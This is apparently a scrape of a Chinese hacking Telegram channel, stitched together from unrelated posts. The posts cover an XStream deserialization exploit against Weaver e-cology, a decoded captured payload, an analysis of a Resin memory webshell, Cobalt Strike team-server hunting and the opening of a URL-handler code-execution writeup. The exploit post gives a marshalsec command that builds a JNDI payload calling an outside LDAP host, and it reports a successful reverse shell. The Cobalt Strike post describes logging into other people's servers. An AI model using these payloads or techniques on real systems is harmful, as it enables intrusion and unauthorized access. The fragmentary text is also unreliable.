黑客网站入侵 编程 搭建 渗透 破解
3.61K subscribers
419 photos
13 links
Download Telegram
好家伙,我直接好家伙,不是阻断我,就是给我玩消失。
那我带上%20试试?

漏洞的sink
根据这个response可以看出这应该是一个soap xml注入,具体是XMLDecoder、XStream或者其他什么,还得看weaver.workflow.webservices.WorkflowServiceXml、weaver.workflow.webservices.WorkflowServiceImplXml.
首先,先看看weaver.workflow.webservices.WorkflowServiceXml
接下来就是寻找gadget了。
由于并没有完整源码,只有部分github源码,不能确定gadget,先使用URLDNS试试。

组合我们的模板试试。
这里涉及到实体编码问题,作为懒人直接选择整体编码算了。

随后dnslog成功收到请求。
试试其他的gadget?比如CommonsBeanutils的jndi注入?
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream CommonsBeanutils ldap://h73xu6.dnslog.cn/a > cbu.xml
最后反弹成功
0x05 marshalsec和ysoserial的联姻
大部分人都把marshalsec当做一个快速JNDI服务器的工具,其实它也有其他功能,比如生成XStream的payload就很好。

问题在于marshalsec内置的gadget全都需要出网,这一点儿也不符合我这个完美主义者的实战需求,需要出网的payload那是实验室黑客才需要的。那么既然ysoserial内置了不需要出网的gadget,可以结合起来吗?当然可以!
新建一个idea项目,将marshalsec和ysoserial都引入classpath作为依赖。然后重写marshalsec.XStream,一个字也不要改。
流量的解密
书归正传,朋友抓到的流量到底对服务器干了啥?我们来看看
可以判断使用了CommonsBeanutils和CC3的gadget。

这段流量以yv66vgAAAD开头可以判断是base64的序列化payload,尝试对流量整理,得到下面的流量。

yv66vgAAADIANgoACgAkBwAlCAAmCgACACcIACgKACkAKgoAAgArBwAsBwAtBwAuAQAGPGlujXI7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC8BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcALAEAClNvdXJjZUZpbGUBABBMb2dpbkZpbHRlci5qYXZhDAALAAwBABhqYXZhL2lvL0ZpbGVPdXRwdXRTdHJlYW0BAB9EOlxXRUFWRVJcZWNvbG9neVxjc3NcbG9naW4uY3NzDAALADABAAVsb2dpbgcAMQwAMgAzDAA0ADUBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARUmVzaW4vTG9naW5GaWx0ZXIBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAQamF2YS9sYW5nL1N0cmluZwEACGdldEJ5dGVzAQAEKClbQgEABXdyaXRlAQAFKFtCKVYAIQAJAAoAAAAAAAQAAQALAAwAAQANAAAALwABAAEAAAAFKrcAAbEAAAACAA4AAAAGAAEAAAAMAA8AAAAMAAEAAAAFABAAEQAAAAEAEgATAAIADQAAAD8AAAADAAAAAbEAAAAC
对其进行解码



不难看出写了个文件D:\WEAVER\ecology\css\login.css,内容应该是login12345
一枚野生resin filter内存马调试

在对java恶意样本调试指南公众号中发布的jsp内存马进行分析之后,发现是一枚野生的resin filter内存马,做为面向github 编程的我,还没有找到公开的resin内存马,决定细细的盘一下该内存马的逻辑部分。

恶意代码为Overbrilliantly:包含了一个构造器、两个静态变量和 static 静态代码块

主要逻辑static静态代码块中,样本字符串解密如原文描述类似:”字符串加密为xor,长度为7,加密后的字符串第一位为本次待解密字符串的长度”。我们的目的是为了能够还原resin 内存马,debug 过程直接跳过解密过程,在关键部分进行断点。
代码逻辑中利用反射方法 loadCLass 加载了 com.caucho.server.dispatch.ServletInvovation , com.caucho.server.dispatch.FilterConfigImpl 等类,这些是 resin 容器的基础类,可以看出这是一个针对 resin 容器的内存马,如果要进行debug 还需要引入resin依赖或者直接创建一个运行在resin上的web服务。
内存马的主要逻辑
该样本(resin)和其他容器filter 型内存马类似,创建 filter,添加 filterConfigImpl 实例,添加filterMapping 路由映射。

创建 filter
在反射加载完必要的依赖class之后,该样本调用 java.uti.Base64$decoder/javax.xml.bind.DatatypeConverter.parseBase64Binary对字符串 var17 进行解码;然后使用 defineClass 类加载器进行了加载,其中 var17 字符串就是样本构建的恶意filter类的base64编码,类名 PseudodramaticallyFilter。
加载的的 filter 说明
对前序加载的filter字串进行base64解码及反编译,是一个实现了filter接口的自定义filter,全限定名为com.caucho.filters.PseudodramaticallyFilter.class ,利用com.caucho.filters resin 依赖进行伪装,PseudodramaticallyFilter翻译为明显假的filter

类结构如下图所示,defineClass 加载类时会调用static静态代码块,对字符串进行解密。
调整 filter 顺序
在创建filter 实例,添加 filterConfigImpl及相应路由之后,样本路由添加到 WebApp._filerMapper 和 WebApp._loginFilterMapper 中,_filerMapper 及 _loginFilterMapper 中存放的是 ArrayList<FilterMapping> 数组,样本通过创建新的 ArrayList<FilterMapping> 并将前序步骤创建的 filterMapping 做为首位加入。

filterConfigImpl 实现了 javax.servlet.FilterConfig 和 javax.servlet.FilterRegistration.Dynamic 接口
通过Wireshark抓包如图所示,可以看到客户端发送的密码及填充字符串。

通过以上代码逻辑,可以找到一个识别Cobalt Strike Team Server的方法,流程图及部分代码,为了利用该特征获取更多资产,我们希望把Cobalt Strike 中被控制的IP给提取出来,就是Cobalt Strike 登陆后的Session Table提取出来
TeamQueue类的call方法中会根据传入的参数实例化一个Request对象,并添加进队列,之后TeamQueue Writer线程从队列获取请求对象,使用socket进行发送

以上就是Cobalt Strike客户端发包和接收响应的大致逻辑。在创建TeamQueue实例后开始调用call方法来发送不同阶段的请求
扫描结果分析
网络空间测绘始于扫描,不止于扫描。在找到该特征后,我们开始在互联网中进行挖掘。

使用搜索语句:response:"\x00\x00\xca\xfe" AND port: "50050",可以找到存在弱口令的Cobalt Strike,我们只对部分主机进行了受控IP的提取,这步骤稍微敏感,随机登录一台

通过搜索语法 response:"\x00\x00\x00\x00" AND port: "50050" AND service: "http/ssl"

可以找到没有爆破出密码的Cobalt Strike,可以看到共有5173条扫描记录,1049个IP。

网络空间测绘,始于资产,但不止于资产。

我们认为,主动测绘数据将会与终端行为样本数据、网络流量通信数据一样,是未来网络安全大数据&&威胁情报数据的重要源头。主动测绘数据和基于测绘数据分析后形成的知识将能够极大补充我们的视野
允许任意URL,预期任意代码执行

-- MARKDOWN --
- 我们发现并报告了流行软件中的一键式代码执行漏洞,包括 Telegram**、**Nextcloud**、**VLC**、**Libre-/OpenOffice**、**Bitcoin/Dogecoin Wallets**、**WiresharkMumble
- 将用户提供的 URL 传递给操作系统打开的桌面应用程序经常容易受到**通过用户交互执行代码**的
攻击 - 当打开指向托管在互联网可访问文件共享(`nfs`、`webdav`、`smb` 等)上的恶意可执行文件(`.desktop`、`.jar`、`.exe` 等)的 URL 时,或者利用打开的应用程序的 URI 处理程序中的其他漏洞时,都可以实现代码执行
- 其他软件中已经发现了遵循这种模式的漏洞,预计未来会发现更多漏洞

# 介绍

在本文中,我们展示了众多桌面应用程序中的代码执行漏洞,这些漏洞的根本原因都是一样的:对用户输入的验证不足,这些输入随后被视为 URL 并在操作系统的帮助下打开。所需的用户交互和利用策略取决于桌面环境以及应用程序是否经过强化,例如,使用 URI 方案允许/阻止列表。例如,以下是在 Xubuntu 20.04 上的 Nextcloud(< 3.1.3)中利用此问题的方式: